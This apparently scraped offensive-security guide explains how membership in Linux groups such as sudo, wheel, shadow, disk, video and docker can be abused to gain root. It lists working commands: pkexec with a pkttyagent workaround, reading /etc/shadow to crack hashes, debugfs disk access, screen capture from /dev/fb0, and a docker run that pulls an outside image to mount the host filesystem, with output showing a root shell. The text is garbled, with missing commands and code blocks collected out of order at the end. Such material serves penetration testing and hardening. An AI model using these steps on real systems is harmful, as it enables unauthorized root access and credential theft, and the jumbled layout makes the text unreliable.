Sometimes, by default (or because some software needs it) inside the /etc/sudoers file you can find some of these lines:
# Allow members of group sudo to execute any command%sudoALL=(ALL:ALL)ALL# Allow members of group admin to execute any command%adminALL=(ALL:ALL)ALL
This means that any user that belongs to the group sudo or admin can execute anything as sudo.
If this is the case, to become root you can just execute:
sudo su
PE - Method 2
Find all suid binaries and check if there is the binary Pkexec:
find/-perm-40002>/dev/null
If you find that the binary pkexec is a SUID binary and you belong to sudo or admin, you could probably execute binaries as sudo using pkexec.
This is because typically those are the groups inside the polkit policy. This policy basically identifies which groups can use pkexec. Check it with:
cat/etc/polkit-1/localauthority.conf.d/*
There you will find which groups are allowed to execute pkexec and by default in some linux disctros the groups sudo and admin appear.
To become root you can execute:
If you try to execute pkexec and you get this error:
Sometimes, by default inside the /etc/sudoers file you can find this line:
This means that any user that belongs to the group wheel can execute anything as sudo.
If this is the case, to become root you can just execute:
Shadow Group
Users from the group shadow can read the /etc/shadow file:
So, read the file and try to crack some hashes.
Disk Group
This privilege is almost equivalent to root access as you can access all the data inside of the machine.
Files:/dev/sd[a-z][1-9]
Note that using debugfs you can also write files. For example to copy /tmp/asd1.txt to /tmp/asd2.txt you can do:
However, if you try to write files owned by root (like /etc/shadow or /etc/passwd) you will have a "Permission denied" error.
Video Group
Using the command w you can find who is logged on the system and it will show an output like the following one:
The tty1 means that the user yossi is logged physically to a terminal on the machine.
The video group has access to view the screen output. Basically you can observe the the screens. In order to do that you need to grab the current image on the screen in raw data and get the resolution that the screen is using. The screen data can be saved in /dev/fb0 and you could find the resolution of this screen on /sys/class/graphics/fb0/virtual_size
To open the raw image you can use GIMP, select the screen.raw file and select as file type Raw image data:
Then modify the Width and Height to the ones used on the screen and check different Image Types (and select the one that shows better the screen):
Root Group
It looks like by default members of root group could have access to modify some service configuration files or some libraries files or other interesting things that could be used to escalate privileges...
Check which files root members can modify:
Docker Group
You can mount the root filesystem of the host machine to an instance’s volume, so when the instance starts it immediately loads a chroot into that volume. This effectively gives you root on the machine.
pkexec "/bin/sh" #You will be prompted for your user password
polkit-agent-helper-1: error response to PolicyKit daemon: GDBus.Error:org.freedesktop.PolicyKit1.Error.Failed: No session for cookie
==== AUTHENTICATION FAILED ===
Error executing command as another user: Not authorized
session1
echo $$ #Step1: Get current PID
pkexec "/bin/bash" #Step 3, execute pkexec
#Step 5, if correctly authenticate, you will have a root session
session2
pkttyagent --process <PID of session1> #Step 2, attach pkttyagent to session1
#Step 4, you will be asked in this session to authenticate to pkexec
$ docker run -v /:/hostOS -i -t chrisfosterelli/rootplease
latest: Pulling from chrisfosterelli/rootplease
2de59b831a23: Pull complete
354c3661655e: Pull complete
91930878a2d7: Pull complete
a3ed95caeb02: Pull complete
489b110c54dc: Pull complete
Digest: sha256:07f8453356eb965731dd400e056504084f25705921df25e78b68ce3908ce52c0
Status: Downloaded newer image for chrisfosterelli/rootplease:latest
You should now have a root shell on the host OS
Press Ctrl-D to exit the docker instance / shell
sh-5.0# id
uid=0(root) gid=0(root) groups=0(root)